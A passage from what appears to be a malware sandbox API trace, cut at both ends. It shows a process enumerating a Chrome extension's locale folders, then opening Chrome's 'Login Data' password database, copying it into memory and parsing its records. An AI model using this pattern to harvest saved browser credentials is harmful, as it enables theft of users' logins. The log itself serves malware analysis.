Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.395] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.396] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ro\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.396] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.396] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ru\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.396] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.396] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sk\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.396] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.396] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.397] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.397] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.397] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.397] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sv\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.397] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.397] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\th\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.397] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.398] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\tr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.398] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.398] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\uk\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.398] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.398] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\vi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.398] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.398] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.399] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.400] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.400] FindClose (in: hFindFile=0x6428e8 | out: hFindFile=0x6428e8) returned 1 [0079.401] FindClose (in: hFindFile=0x642968 | out: hFindFile=0x642968) returned 1 [0079.402] FindClose (in: hFindFile=0x642968 | out: hFindFile=0x642968) returned 1 [0079.450] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12fa60 | out: ppstm=0x12fa60*=0x64ba58) returned 0x0 [0079.450] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\eebsym5\\appdata\\local\\google\\chrome\\user data\\default\\login data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0079.450] ReadFile (in: hFile=0x1e0, lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x1000, lpOverlapped=0x0) returned 1 [0079.463] ISequentialStream:RemoteWrite (in: This=0x64ba58, pv=0x12ea48*=0x53, cb=0x1000, pcbWritten=0x12ea30 | out: pcbWritten=0x12ea30*=0x1000) returned 0x0 [0079.463] ReadFile (in: hFile=0x1e0, lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x1000, lpOverlapped=0x0) returned 1 [0079.465] ISequentialStream:RemoteWrite (in: This=0x64ba58, pv=0x12ea48*=0xa, cb=0x1000, pcbWritten=0x12ea30 | out: pcbWritten=0x12ea30*=0x1000) returned 0x0 [0079.465] ReadFile (in: hFile=0x1e0, lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x1000, lpOverlapped=0x0) returned 1 [0079.466] ISequentialStream:RemoteWrite (in: This=0x64ba58, pv=0x12ea48*=0xa, cb=0x1000, pcbWritten=0x12ea30 | out: pcbWritten=0x12ea30*=0x1000) returned 0x0 [0079.466] ReadFile (in: hFile=0x1e0, lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x1000, lpOverlapped=0x0) returned 1 [0079.466] ISequentialStream:RemoteWrite (in: This=0x64ba58, pv=0x12ea48*=0xd, cb=0x1000, pcbWritten=0x12ea30 | out: pcbWritten=0x12ea30*=0x1000) returned 0x0 [0079.466] ReadFile (in: hFile=0x1e0, lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x800, lpOverlapped=0x0) returned 1 [0079.466] ISequentialStream:RemoteWrite (in: This=0x64ba58, pv=0x12ea48*=0xa, cb=0x800, pcbWritten=0x12ea30 | out: pcbWritten=0x12ea30*=0x800) returned 0x0 [0079.466] ReadFile (in: hFile=0x1e0, lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x0, lpOverlapped=0x0) returned 1 [0079.466] CloseHandle (hObject=0x1e0) returned 1 [0079.466] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.466] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.466] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.466] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.466] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12fa40, cb=0x10, pcbRead=0x12fa24 | out: pv=0x12fa40*=0x53, pcbRead=0x12fa24*=0x10) returned 0x0 [0079.466] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.467] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.467] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x10, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.467] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12fa2a, cb=0x2, pcbRead=0x12f9f8 | out: pv=0x12fa2a*=0x8, pcbRead=0x12f9f8*=0x2) returned 0x0 [0079.467] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.467] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.467] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x12, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.467] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12fa2b, cb=0x1, pcbRead=0x12f9f8 | out: pv=0x12fa2b*=0x1, pcbRead=0x12f9f8*=0x1) returned 0x0 [0079.467] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.467] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.467] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x13, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.467] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12fa2b, cb=0x1, pcbRead=0x12f9f8 | out: pv=0x12fa2b*=0x1, pcbRead=0x12f9f8*=0x1) returned 0x0 [0079.467] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.467] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.467] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.467] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12fa2b, cb=0x1, pcbRead=0x12f9f8 | out: pv=0x12fa2b*=0x0, pcbRead=0x12f9f8*=0x1) returned 0x0 [0079.467] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.467] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.467] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x15, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.467] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12fa2b, cb=0x1, pcbRead=0x12f9f8 | out: pv=0x12fa2b*=0x40, pcbRead=0x12f9f8*=0x1) returned 0x0 [0079.468] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.468] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.468] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x16, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.468] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12fa2b, cb=0x1, pcbRead=0x12f9f8 | out: pv=0x12fa2b*=0x20, pcbRead=0x12f9f8*=0x1) returned 0x0 [0079.468] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.468] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.468] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x17, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.468] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12fa2b, cb=0x1, pcbRead=0x12f9f8 | out: pv=0x12fa2b*=0x20, pcbRead=0x12f9f8*=0x1) returned 0x0 [0079.468] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.468] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.468] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x18, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.468] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x20, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.468] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.468] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.468] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x38, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.468] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12fa28, cb=0x4, pcbRead=0x12f9f8 | out: pv=0x12fa28*=0x0, pcbRead=0x12f9f8*=0x4) returned 0x0 [0079.468] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.469] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.469] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x3c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.469] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.469] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.469] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x64, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.469] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.469] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.469] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x64, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.469] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9d3, cb=0x1, pcbRead=0x12f9a0 | out: pv=0x12f9d3*=0xd, pcbRead=0x12f9a0*=0x1) returned 0x0 [0079.469] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.469] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.469] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x65, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.469] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9d2, cb=0x2, pcbRead=0x12f9a0 | out: pv=0x12f9d2*=0x7, pcbRead=0x12f9a0*=0x2) returned 0x0 [0079.469] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.469] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.469] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x67, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.469] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9d2, cb=0x2, pcbRead=0x12f9a0 | out: pv=0x12f9d2*=0x0, pcbRead=0x12f9a0*=0x2) returned 0x0 [0079.470] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.470] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.470] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x69, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.470] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9d2, cb=0x2, pcbRead=0x12f9a0 | out: pv=0x12f9d2*=0x2, pcbRead=0x12f9a0*=0x2) returned 0x0 [0079.470] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.470] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.470] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.470] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9d3, cb=0x1, pcbRead=0x12f9a0 | out: pv=0x12f9d3*=0x0, pcbRead=0x12f9a0*=0x1) returned 0x0 [0079.470] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.470] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.470] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.470] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9d2, cb=0x2, pcbRead=0x12f9a0 | out: pv=0x12f9d2*=0x7, pcbRead=0x12f9a0*=0x2) returned 0x0 [0079.470] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.470] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.470] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.470] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9d2, cb=0x2, pcbRead=0x12f9a0 | out: pv=0x12f9d2*=0x7, pcbRead=0x12f9a0*=0x2) returned 0x0 [0079.471] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.471] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.471] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x70, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.471] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9d2, cb=0x2, pcbRead=0x12f9a0 | out: pv=0x12f9d2*=0x4, pcbRead=0x12f9a0*=0x2) returned 0x0 [0079.471] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.471] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.471] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x72, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.471] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9d2, cb=0x2, pcbRead=0x12f9a0 | out: pv=0x12f9d2*=0x7, pcbRead=0x12f9a0*=0x2) returned 0x0 [0079.471] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.471] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.471] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x74, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.471] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9d2, cb=0x2, pcbRead=0x12f9a0 | out: pv=0x12f9d2*=0x4, pcbRead=0x12f9a0*=0x2) returned 0x0 [0079.471] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.471] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.471] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x76, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.471] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9d2, cb=0x2, pcbRead=0x12f9a0 | out: pv=0x12f9d2*=0x3, pcbRead=0x12f9a0*=0x2) returned 0x0 [0079.471] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.472] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.472] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x78, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.472] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9d2, cb=0x2, pcbRead=0x12f9a0 | out: pv=0x12f9d2*=0x4, pcbRead=0x12f9a0*=0x2) returned 0x0 [0079.472] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.472] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.472] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x7a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.472] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9d2, cb=0x2, pcbRead=0x12f9a0 | out: pv=0x12f9d2*=0x2, pcbRead=0x12f9a0*=0x2) returned 0x0 [0079.472] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x767, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.472] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.472] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.472] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x767, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.472] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9b3, cb=0x1, pcbRead=0x12f980 | out: pv=0x12f9b3*=0x66, pcbRead=0x12f980*=0x1) returned 0x0 [0079.472] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.472] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.472] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x768, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.472] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9b3, cb=0x1, pcbRead=0x12f980 | out: pv=0x12f9b3*=0x1, pcbRead=0x12f980*=0x1) returned 0x0 [0079.472] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f9c8 | out: ppstm=0x12f9c8*=0x64baa8) returned 0x0 [0079.472] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.473] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.473] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x769, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.473] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x655310, cb=0x66, pcbRead=0x12f990 | out: pv=0x655310*=0x7, pcbRead=0x12f990*=0x66) returned 0x0 [0079.473] ISequentialStream:RemoteWrite (in: This=0x64baa8, pv=0x655310*=0x7, cb=0x66, pcbWritten=0x12f9a8 | out: pcbWritten=0x12f9a8*=0x66) returned 0x0 [0079.473] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.473] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.473] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.473] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.473] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.473] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f973, cb=0x1, 